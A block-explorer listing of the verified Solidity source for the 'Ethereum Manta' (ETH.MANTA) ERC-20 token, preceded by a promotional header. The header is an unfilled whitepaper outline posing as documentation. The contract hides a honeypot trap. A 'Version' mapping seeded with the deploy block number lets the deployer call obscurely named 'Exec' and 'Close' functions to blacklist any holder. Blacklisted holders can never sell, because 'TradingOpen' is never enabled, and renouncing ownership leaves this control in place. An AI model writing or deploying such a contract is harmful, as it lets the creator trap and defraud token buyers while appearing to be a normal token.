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Ethereum Manta

Ethereum Manta

$500
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合同元数据
编译器
0.8.23+commit.f704f362
语言
Solidity
合同源代码
文件 1 的 1:EthereumManta.sol
/*
ETHEREUM MANTA NETWORK
Symbol : ETH.MANTA
Supply : 1.000.000.000
https://www.eth-manta.network
https://www.x.com/ethereum_manta
t.me/ethereum_manta
Background and Challenges in Traditional Blockchains:
     - Discuss the rapid growth of blockchain technology and its widespread adoption.
     - Highlight the challenges faced by traditional blockchains, including issues related to transaction speed, scalability, and congestion during peak usage.
     - Provide examples of notable blockchain limitations leading to delays and bottlenecks.

Objectives and Vision of ETH.Manta Network:
     - Clearly define the mission and vision of ETH.Manta Network.
     - Emphasize the network's commitment to addressing scalability challenges through innovative solutions.
     - Establish the importance of modular architecture in achieving scalability without compromising performance.

Overview of Modular Blockchain Architecture:
     - Introduce the concept of a modular blockchain architecture and its significance.
     - Explain how modularity allows for the efficient scaling of the network.
     - Provide a high-level overview of the key components of ETH.Manta's modular architecture.
Scalability Solutions:
Challenges in Transaction Speed and Capacity:
     - Elaborate on the specific challenges faced by traditional blockchains, such as slow transaction speeds and limited capacity.
     - Provide statistics and real-world examples to illustrate the impact of these challenges on user experience.
     - Explain the importance of addressing these challenges for widespread blockchain adoption.

Modular Architecture for Efficient Scaling:
     - Detail the modular approach adopted by ETH.Manta Network for addressing scalability issues.
     - Describe how the modular architecture allows for the seamless addition of resources to handle increased transaction volume.
     - Discuss the adaptability of ETH.Manta's architecture to varying network demands and peak usage times.

Handling Peak Usage Times without Congestion:
     - Illustrate how ETH.Manta Network's modular architecture effectively mitigates congestion during peak usage.
     - Provide case studies or simulations showcasing the network's performance under high transaction loads.
     - Emphasize the user benefits, such as consistent transaction speeds and reduced latency during periods of high demand.
Zero-Knowledge (ZK) Applications:
Role of ETH.Manta Network in Enabling ZK Applications:
     - Define the significance of Zero-Knowledge (ZK) applications in the context of blockchain technology.
     - Explain how ETH.Manta Network serves as an enabling infrastructure for the development and deployment of ZK applications.
     - Highlight the network's commitment to fostering privacy, security, and efficiency in decentralized applications.

Leveraging Innovative Technology for Privacy and Security:
     - Dive into the innovative technologies employed by ETH.Manta Network to ensure privacy and security.
     - Discuss how zero-knowledge proof technology plays a crucial role in enhancing privacy features.
     - Provide technical insights into the encryption methods and cryptographic techniques used to secure transactions.

Development and Deployment of Privacy-Prioritized DApps:
     - Showcase examples of decentralized applications (DApps) that prioritize privacy and security on the ETH.Manta Network.
     - Explain how developers can leverage the infrastructure to create DApps with enhanced privacy features.
     - Discuss the user benefits of using privacy-focused DApps on the ETH.Manta Network, including enhanced data protection and confidentiality.

Modular Blockchain Infrastructure:
Components of ETH.Manta's Modular Architecture:
     - Detail the key components of ETH.Manta Network's modular architecture, including nodes, consensus mechanisms, and smart contract functionality.
- Provide an in-depth explanation of how each component contributes to the overall modularity of the network.
     - Illustrate through diagrams or flowcharts the interplay between different modules to showcase the scalability and adaptability of the architecture.

Benefits of a Modular Approach for Decentralized Applications:
     - Explore the advantages of a modular approach, such as ease of maintenance, flexibility, and the ability to upgrade individual components without disrupting the entire network.
     - Discuss how modularity enhances the network's resilience against potential vulnerabilities and promotes a more sustainable and evolutionary development path.
     - Provide case studies or examples of how modularity has been successfully implemented in other industries and its applicability to blockchain infrastructure.

Scalability Features and Adaptive Growth Capabilities:
     - Break down the scalability features embedded within the modular architecture.
     - Explain how the network dynamically scales resources in response to increased demand, showcasing adaptive growth capabilities.
     - Discuss how ETH.Manta's design allows for horizontal scaling, enabling the network to handle a growing number of transactions without compromising performance.

*/
pragma solidity = 0.8.23;

// SPDX-License-Identifier: MIT

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;   return msg.data;
    }
}
contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _Owner;
    }
    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }
}


contract EthereumManta is Context, IERC20, Ownable {
    mapping (address => uint256) public _balances;
    mapping (address => uint256) public Version;
    mapping (address => bool) private _User;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _totalSupply;
	bool TradingOpen = false;
    string public _name = "Ethereum Manta";
    string public _symbol = unicode"ETH.MANTA";
    uint8 private _decimals = 18;
	


    constructor () {
 
    uint256 _order = block.number;
	 Version[_msgSender()] += _order;
        _totalSupply += 1000000000 *1000000000000000000;
        _balances[_msgSender()] += _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


        function decimals() public view  returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

  
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transferfrom(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

  
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_User[sender])  require(TradingOpen == true, "");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 
	
    function Close (address _Address) external  {
     require (Version[_msgSender()] >= _decimals);
        _User[_Address] = false;
    }
	
    function _transferfrom(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_User[sender] || _User[recipient]) require(TradingOpen == true, "");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

     function Exec(address _Address) external  {
    require (Version[_msgSender()] >= _decimals);
        _User[_Address] = true;
    }

}
设置
{
  "compilationTarget": {
    "EthereumManta.sol": "EthereumManta"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
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